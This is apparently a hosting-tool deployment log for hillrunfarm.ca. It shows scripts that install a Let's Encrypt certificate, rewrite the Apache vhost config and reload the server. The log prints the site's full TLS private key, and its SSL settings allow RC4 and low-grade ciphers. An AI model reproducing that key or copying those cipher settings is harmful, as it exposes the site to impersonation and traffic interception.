vLc/swYXpa15b7RGeGYhkY2gsuASJttIn+Os9XLO2hQtvcUfrsZwnbvNzl6I8X//
h7TmyltS8QItOYpFWCQxAGRCz7slPx06VIrvU5FdfNVJRO0ER/A0eI189GZCNavA
vJGjIWO+jFGmWRlrvxMl1E4PvuIILbo46AC3Ve0IEELYSpGaPdRWV5/6Ue6ENS9j
V+OYDQTUOXiDw2JFsxWiCvs98X4iulb5uE9/IQc2SQKBgQDvLwqhZ2euxaEERYLi
d/TRph8ifOUEyIPGjK409DSg+kZNRi5nVngEbHIFKTbXPEHJfi80oJipN/uOtOub
mgYpkslueECGavJXt/t9peyylX6Q8m2H5mYwWAcUyHwluWvkusT8eoX16w/0tLh1
nPqR2tub5l9mmuYQRKOwevfaZQKBgQDa7VApZS72/ZdFW3Av2Bkkj1xZ4HGlxFl3
jPRO+ujh2rSYg084Tz28FKOZOswD8fVGG9YN8QaDN2tGLePXhETEBW5o7OPJtr3r
kRaVvl8uOhSJ71EUSlw4FP2kgwIYug35cCKs+83MAb6rDpojDMCjXcUjseZ0rjaQ
2VtFXI+v+QKBgHQ0BpYkBtuCaJgKrWwZm3e/naDDzQBl6p+r+XcArhEHhuBEGIdc
GzMK/NpFC7/GJrAd/hEzdPfBmxXaEB2o1xWbmwFwquijTNoRKL4CvtyEhNkm7s/3
v+381nPic25gh2q40rtXS34OldHtezCo85OpIMi9Q9w1pVCCCITVOVWBAoGAdWiu
A/VC0a1Aki6upMoE+el0grLu4BLEVGwgnbbMbEvJbL2HH9DHb/W1ozi4Lyl0++tz
ybhIYNi4zENSHMPPyTyMcPMSWpyJkCsYbKhTDUyStULGPdZ/TIhdWvvzhOVLF0n/
HrxQKyeIZN6I5WEycqqYTkNbL5o6o0YeP72bRakCgYAA4fPUzTtxoJsh0T5QU/rJ
RmOYNsBmKyNQjYLIIbGGo0r1ycwDKizpWGfv2kejxZCNgZfqvi4AHrVmB1b3gK9T
8nJq1SGA+Nroi9KPFang9T7MndGDVICuQuJq6fH8KyP7zxc9U3E6CxECalr7xSQK
gxWhdWSfCmnrcUfZ47YbOQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-10 06:00:42: 

chmod 755 /tmp/pkp860057; /tmp/pkp860057; rm /tmp/pkp860057

2026-04-10 06:00:42: 


dir=/etc/ssl/certs


2026-04-10 06:00:42: 

PUT: /tmp/pkp710693

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-10 06:00:42: 

chmod 755 /tmp/pkp710693; /tmp/pkp710693; rm /tmp/pkp710693

2026-04-10 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-10 06:00:42: 

PUT: /tmp/pkp172379

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi


2026-04-10 06:00:42: 

chmod 755 /tmp/pkp172379; /tmp/pkp172379; rm /tmp/pkp172379

2026-04-10 06:00:42: 




2026-04-10 06:00:42: 

PUT: /tmp/pkp776431

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-10 06:00:42: 

chmod 755 /tmp/pkp776431; /tmp/pkp776431; rm /tmp/pkp776431

2026-04-10 06:00:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:00:42: Establishing a connection
2026-04-10 06:00:43: 

PUT: /tmp/pkp199252

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-10 06:00:43: 

chmod 755 /tmp/pkp199252; /tmp/pkp199252; rm /tmp/pkp199252

2026-04-10 06:00:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:00:43: 

PUT: /tmp/pkp788747

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:00:43: 

chmod 755 /tmp/pkp788747; /tmp/pkp788747; rm /tmp/pkp788747

2026-04-10 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf	1391

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-10 06:00:43: 

PUT: /tmp/pkp233917

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:00:43: 

chmod 755 /tmp/pkp233917; /tmp/pkp233917; rm /tmp/pkp233917

2026-04-10 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt	5368
c6:38:07:70:86:a3:51:bf:32:ec:de:48:48:83:23:a0

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBgHclFQpUK8eYtL25z9lr4GGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEwMDUwMjEwWhcNMjYwNzA5MDUwMjA5WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMyLyH+p35pkyCMX9b1vsAlspkDUwaGTsB/rm9mPJe/N535iUEfAvoxGOPbRL1Vl
it1k4IrR+TaHDCcOhgc1AkCwBEaeIs1MHtj1EXdwFR8oxOh03AGEr9Nqw9A0twpo
Kr2GtwwSMMkRWrOVRNpLqaJ4YHw5MF1dYAAWX19hfvDBwRbIWPfhi0AQ7nrsYGKA
l2jrPCVN8khOGo0HNJrTuVEm+I3/hzz3/ZWXh4CrbC9x9ExZfeJ7HRLg7jfyr1QH
wGkEC5dqxV0TdyV0ROIi3IVtvMV6jUqExdY8Py7AavspaDwEIxcsUpTNgHACkRj0
Pz4o5nsL++iVyXth31PJdz0CAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTaEVza
KDFYanJM16JFNge+hhnYVjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmhpbGxydW5mYXJtLmNhghJ3d3cuaGlsbHJ1bmZh
cm0uY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB2AK9niDtXsE7dj6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnXX6cykAAAQD
AEcwRQIhAJY/OcHhw2snc+UKx8+1oL7KqoV1VzzBM6HYed+6pw5LAiB6zxl/vYty
NKRbkfqnupHby5z+cMmQ+prnSXiuK8SILwB9ABqLnWsP/r+BtHk5xtIxCobW0QLU
8EbiGCyd419eJiXvAAABnXX6deQACAAABQAH/zBZBAMARjBEAiAwhal6kTBB12cy
mzEge19+5dpjtFbpNV67xHvop9MJQQIgZM1lsLwo36wiH4u6A+lReLQwSF+W5SG4
kw1Z+PulqYkwDQYJKoZIhvcNAQELBQADggEBAFW4oQGMCRml54S488G4zZiNCvEQ
ABdTUsf++YxlhIont0Ae4l6ubj1jBb1SDrwXse0+y97n7zS7hul5Tf2uaYRBiS6/
CEJEwudxHch8LR9dQRh5Ztcl+88bnHfmtw6sRZQHSSQqk8BuoxkD8YQPT+0esq1M
ldf3jUeXk0GsRP4SRrPAbNlGH3HAgj7mGicjBFV3dVNOHVr7XzOuLqMu8BABGI71
tPTGW7oAXzvzrOwu7ULUF776ppHrskt61n73G/f8PFIcayzyuFomtvLsp8l07UZj
x2Ilpu7Il1mU9s6l7O+5VAH0U3K+VFTWzw8n9TrH/5sj6STDk4bMjgCxcVg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDMi8h/qd+aZMgj
F/W9b7AJbKZA1MGhk7Af65vZjyXvzed+YlBHwL6MRjj20S9VZYrdZOCK0fk2hwwn
DoYHNQJAsARGniLNTB7Y9RF3cBUfKMTodNwBhK/TasPQNLcKaCq9hrcMEjDJEVqz
lUTaS6mieGB8OTBdXWAAFl9fYX7wwcEWyFj34YtAEO567GBigJdo6zwlTfJIThqN
BzSa07lRJviN/4c89/2Vl4eAq2wvcfRMWX3iex0S4O438q9UB8BpBAuXasVdE3cl
dETiItyFbbzFeo1KhMXWPD8uwGr7KWg8BCMXLFKUzYBwApEY9D8+KOZ7C/volcl7
Yd9TyXc9AgMBAAECggEAKGkybLRvQoXIO5SzfmBnN0lxpCvUcHto57mI8ifTnye/
JUs/oJluG/EQtoSX9SdpUrmoGg0HTzRJnJrENH7OyeBsi9YYupYgHw11zLLGXYBU
vLc/swYXpa15b7RGeGYhkY2gsuASJttIn+Os9XLO2hQtvcUfrsZwnbvNzl6I8X//
h7TmyltS8QItOYpFWCQxAGRCz7slPx06VIrvU5FdfNVJRO0ER/A0eI189GZCNavA
vJGjIWO+jFGmWRlrvxMl1E4PvuIILbo46AC3Ve0IEELYSpGaPdRWV5/6Ue6ENS9j
V+OYDQTUOXiDw2JFsxWiCvs98X4iulb5uE9/IQc2SQKBgQDvLwqhZ2euxaEERYLi
d/TRph8ifOUEyIPGjK409DSg+kZNRi5nVngEbHIFKTbXPEHJfi80oJipN/uOtOub
mgYpkslueECGavJXt/t9peyylX6Q8m2H5mYwWAcUyHwluWvkusT8eoX16w/0tLh1
nPqR2tub5l9mmuYQRKOwevfaZQKBgQDa7VApZS72/ZdFW3Av2Bkkj1xZ4HGlxFl3
jPRO+ujh2rSYg084Tz28FKOZOswD8fVGG9YN8QaDN2tGLePXhETEBW5o7OPJtr3r
kRaVvl8uOhSJ71EUSlw4FP2kgwIYug35cCKs+83MAb6rDpojDMCjXcUjseZ0rjaQ
2VtFXI+v+QKBgHQ0BpYkBtuCaJgKrWwZm3e/naDDzQBl6p+r+XcArhEHhuBEGIdc
GzMK/NpFC7/GJrAd/hEzdPfBmxXaEB2o1xWbmwFwquijTNoRKL4CvtyEhNkm7s/3
v+381nPic25gh2q40rtXS34OldHtezCo85OpIMi9Q9w1pVCCCITVOVWBAoGAdWiu
A/VC0a1Aki6upMoE+el0grLu4BLEVGwgnbbMbEvJbL2HH9DHb/W1ozi4Lyl0++tz
ybhIYNi4zENSHMPPyTyMcPMSWpyJkCsYbKhTDUyStULGPdZ/TIhdWvvzhOVLF0n/
HrxQKyeIZN6I5WEycqqYTkNbL5o6o0YeP72bRakCgYAA4fPUzTtxoJsh0T5QU/rJ
RmOYNsBmKyNQjYLIIbGGo0r1ycwDKizpWGfv2kejxZCNgZfqvi4AHrVmB1b3gK9T
8nJq1SGA+Nroi9KPFang9T7MndGDVICuQuJq6fH8KyP7zxc9U3E6CxECalr7xSQK
gxWhdWSfCmnrcUfZ47YbOQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
